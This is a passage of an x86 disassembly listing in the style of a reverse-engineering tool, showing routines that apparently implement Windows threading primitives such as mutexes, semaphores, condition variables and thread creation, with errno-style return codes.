loc_4308A0:				; CODE XREF: ___:0040211Cj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4308C3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4308C3:				; CODE XREF: ___:004308B2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308E0:				; CODE XREF: ___:004021F3j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_430903
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_430903
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430903:				; CODE XREF: ___:004308E7j
					; ___:004308EDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430920:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43093D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43093D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43093D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43093D:				; CODE XREF: ___:00430926j
					; ___:0043092Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430960:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43098A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43098A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43097E
		test	eax, eax
		jnz	short loc_43098A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43097E:				; CODE XREF: ___:00430975j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43098A:				; CODE XREF: ___:00430966j
					; ___:0043096Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4309A0	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_4309B6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B6:				; CODE XREF: sub_4309A0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_4309DD
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_4309DD
		cmp	dword ptr [eax], 1
		jnz	short loc_4309DD
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309DD:				; CODE XREF: sub_4309A0+1Ej
					; sub_4309A0+24j ...
		push	20h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_430A02
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430A02:				; CODE XREF: sub_4309A0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A27
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_430A6B
; ---------------------------------------------------------------------------


loc_430A27:				; CODE XREF: sub_4309A0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A45
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		jmp	short loc_430A62
; ---------------------------------------------------------------------------


loc_430A45:				; CODE XREF: sub_4309A0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_430ACF
		push	ebx
		call	sub_401690
		add	esp, 4


loc_430A62:				; CODE XREF: sub_4309A0+A3j
		push	ebp
		call	sub_401690
		add	esp, 4


loc_430A6B:				; CODE XREF: sub_4309A0+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_430AC2


loc_430A7B:				; CODE XREF: sub_4309A0+131j
		push	offset dword_510980
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_5103C0
		mov	[esi+1Ch], ecx
		mov	eax, dword_5103C0
		test	eax, eax
		jz	short loc_430AA2
		mov	[eax+18h], esi


loc_430AA2:				; CODE XREF: sub_4309A0+FDj
		mov	eax, dword_5103BC
		mov	dword_5103C0, esi
		test	eax, eax
		jnz	short loc_430AB7
		mov	dword_5103BC, esi


loc_430AB7:				; CODE XREF: sub_4309A0+10Fj
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh


loc_430AC2:				; CODE XREF: sub_4309A0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430ACF:				; CODE XREF: sub_4309A0+B7j
		xor	edi, edi
		jmp	short loc_430A7B
sub_4309A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430B30	proc near		; CODE XREF: sub_401AA5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_430CDC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_430CDC
		cmp	eax, 0FFFFFFFFh
		jz	loc_430C93
		push	offset dword_510980
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430B89
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430B89:				; CODE XREF: sub_430B30+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_401785
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_430BB0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430BB0:				; CODE XREF: sub_430B30+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_430BE9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430BD2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_430BD2:				; CODE XREF: sub_430B30+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_430C7E
; ---------------------------------------------------------------------------


loc_430BE9:				; CODE XREF: sub_430B30+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401690
		mov	edi, dword_511A70
		add	esp, 4
		test	eax, eax
		jz	short loc_430C0A
		call	edi
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_430C0A:				; CODE XREF: sub_430B30+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401690
		add	esp, 4
		test	eax, eax
		jz	short loc_430C22
		call	edi
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_430C22:				; CODE XREF: sub_430B30+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_430C3C
		push	ebp
		call	sub_402252
		add	esp, 4
		mov	ebx, eax


loc_430C3C:				; CODE XREF: sub_430B30+FFj
		cmp	dword_5103BC, esi
		jnz	short loc_430C4F
		mov	edx, [esi+18h]
		mov	dword_5103BC, edx
		jmp	short loc_430C58
; ---------------------------------------------------------------------------


loc_430C4F:				; CODE XREF: sub_430B30+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_430C58:				; CODE XREF: sub_430B30+11Dj
		cmp	dword_5103C0, esi
		jnz	short loc_430C6B
		mov	edx, [esi+1Ch]
		mov	dword_5103C0, edx
		jmp	short loc_430C74
; ---------------------------------------------------------------------------


loc_430C6B:				; CODE XREF: sub_430B30+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_430C74:				; CODE XREF: sub_430B30+139j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_430C7E:				; CODE XREF: sub_430B30+B4j
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_430CC2
; ---------------------------------------------------------------------------


loc_430C93:				; CODE XREF: sub_430B30+28j
		push	offset dword_510900
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_430CAB
		mov	dword ptr [edi], 0
		jmp	short loc_430CB7
; ---------------------------------------------------------------------------


loc_430CAB:				; CODE XREF: sub_430B30+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_430CB7:				; CODE XREF: sub_430B30+179j
		push	offset dword_510900
		call	near ptr 7C9010EDh
		nop


loc_430CC2:				; CODE XREF: sub_430B30+161j
		test	esi, esi
		jz	short loc_430CCE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CCE:				; CODE XREF: sub_430B30+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_430CE1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CDC:				; CODE XREF: sub_430B30+15j
					; sub_430B30+1Fj
		mov	eax, 16h


loc_430CE1:				; CODE XREF: sub_430B30+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_430B30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D60	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_430D60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D90	proc near		; CODE XREF: sub_430D60+Cp
					; sub_431060+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_430E99
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430E99
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430DD2
		push	esi
		call	sub_401B63
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_430DD2
		cmp	eax, 10h
		jnz	loc_430E9E


loc_430DD2:				; CODE XREF: sub_430D90+26j
					; sub_430D90+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430DF2
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430DF2:				; CODE XREF: sub_430D90+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430E12
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430E12:				; CODE XREF: sub_430D90+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_430F00
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401663
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h
		dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_430E99:				; CODE XREF: sub_430D90+13j
					; sub_430D90+1Dj
		mov	eax, 16h


loc_430E9E:				; CODE XREF: sub_430D90+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_430D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430F00:				; DATA XREF: sub_430D90+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430F2B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F2B:				; CODE XREF: ___:00430F21j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_430F3E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_430FA7
; ---------------------------------------------------------------------------


loc_430F3E:				; CODE XREF: ___:00430F34j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_430FA7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430F72
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F72:				; CODE XREF: ___:00430F5Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F9C
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F9C:				; CODE XREF: ___:00430F86j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_430FA7:				; CODE XREF: ___:00430F3Cj
					; ___:00430F4Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_430FC0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FC0:				; CODE XREF: ___:00430FB2j
		cmp	ebx, 1
		jnz	short loc_430FE9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430FE9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FE9:				; CODE XREF: ___:00430FC3j
					; ___:00430FD3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430FFF
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_430FFF:				; CODE XREF: ___:00430FF7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431060	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_43106E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43106E:				; CODE XREF: sub_431060+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_431060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310A0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_4310A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310C0	proc near		; CODE XREF: sub_4310A0+7p
					; sub_431220+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_4311C4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_4311C4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4310E4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4310E4:				; CODE XREF: sub_4310C0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4311C9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_431134
		test	eax, eax
		jnz	short loc_431112


loc_431105:				; CODE XREF: sub_4310C0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431112:				; CODE XREF: sub_4310C0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_431129
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431129:				; CODE XREF: sub_4310C0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_431193
; ---------------------------------------------------------------------------


loc_431134:				; CODE XREF: sub_4310C0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_431105
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_431160
		nop
		call	near ptr 77C1F2BCh
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431160:				; CODE XREF: sub_4310C0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_431174
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_431174:				; CODE XREF: sub_4310C0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_431189
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431189:				; CODE XREF: sub_4310C0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_431193:				; CODE XREF: sub_4310C0+72j
		dec	eax
		mov	[esi], eax


loc_431196:				; CODE XREF: sub_4310C0+67j
					; sub_4310C0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4311BE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_402068
		add	esp, 8
		test	eax, eax
		jz	short loc_4311BE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_4311BE:				; CODE XREF: sub_4310C0+E3j
					; sub_4310C0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4311C4:				; CODE XREF: sub_4310C0+9j
					; sub_4310C0+13j
		mov	eax, 16h


loc_4311C9:				; CODE XREF: sub_4310C0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4310C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431220	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_431220	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431240	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B27
		mov	esi, eax
		test	esi, esi
		jz	loc_431316
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_431316
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_4312BE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_4312BE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_4312C0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_4312C0
; ---------------------------------------------------------------------------


loc_4312BE:				; CODE XREF: sub_431240+4Dj
					; sub_431240+54j
		xor	edi, edi


loc_4312C0:				; CODE XREF: sub_431240+6Ej
					; sub_431240+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401BA9
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		nop
		call	near ptr 77C3A3DBh
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_431309
		test	ebp, ebp
		jz	short loc_431302
		cmp	dword ptr [ebp+0], 0
		jz	short loc_431302
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch


loc_431302:				; CODE XREF: sub_431240+AAj
					; sub_431240+B0j
		push	edi
		nop
		call	near ptr 2780000h


loc_431309:				; CODE XREF: sub_431240+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_431349


loc_431316:				; CODE XREF: sub_431240+14j
					; sub_431240+30j
		push	esi
		call	sub_4017B7
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43133C
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43133C:				; CODE XREF: sub_431240+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_431349:				; CODE XREF: sub_431240+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_431240	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4313B0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4313E7 ; default
		jmp	off_4313EC[ecx*4] ; switch jump


loc_4313C5:				; DATA XREF: ___:off_4313ECo
		call	sub_401712	; jumptable 004313BE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313CD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017BC	; jumptable 004313BE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313D5:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313DD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 0
		call	sub_401627

locret_4313E7:				; CODE XREF: ___:004313BCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4313EC	dd offset loc_4313DD	; DATA XREF: ___:004313BEr
		dd offset loc_4313C5	; jump table for switch	statement
		dd offset loc_4313CD
		dd offset loc_4313D5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431420:				; CODE XREF: ___:004017C1j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h,	4C48377h
		dd 7E89016Ah, 99FE814h,	0C483FFFDh, 0C35E5F04h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431470	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_5108C0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_43149B
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_43149B
		push	eax
		nop
		call	near ptr 277067Eh
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4314A0


loc_43149B:				; CODE XREF: sub_431470+14j
					; sub_431470+1Bj
		mov	esi, 3


loc_4314A0:				; CODE XREF: sub_431470+29j
		push	offset dword_5108C0
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_4314BC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4314BE


loc_4314BC:				; CODE XREF: sub_431470+3Dj
		mov	eax, esi


loc_4314BE:				; CODE XREF: sub_431470+4Aj
		pop	esi
		retn
sub_431470	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4314E0:				; CODE XREF: ___:00401654j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_431531
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_431531
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_431511
		lea	eax, [esi+4]
		push	eax
		nop
		call	near ptr 27705FCh
		test	eax, eax
		jnz	short loc_431517
		call	edi
		mov	dword ptr [esi], 1


loc_431511:				; CODE XREF: ___:004314F9j
					; ___:0043151Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


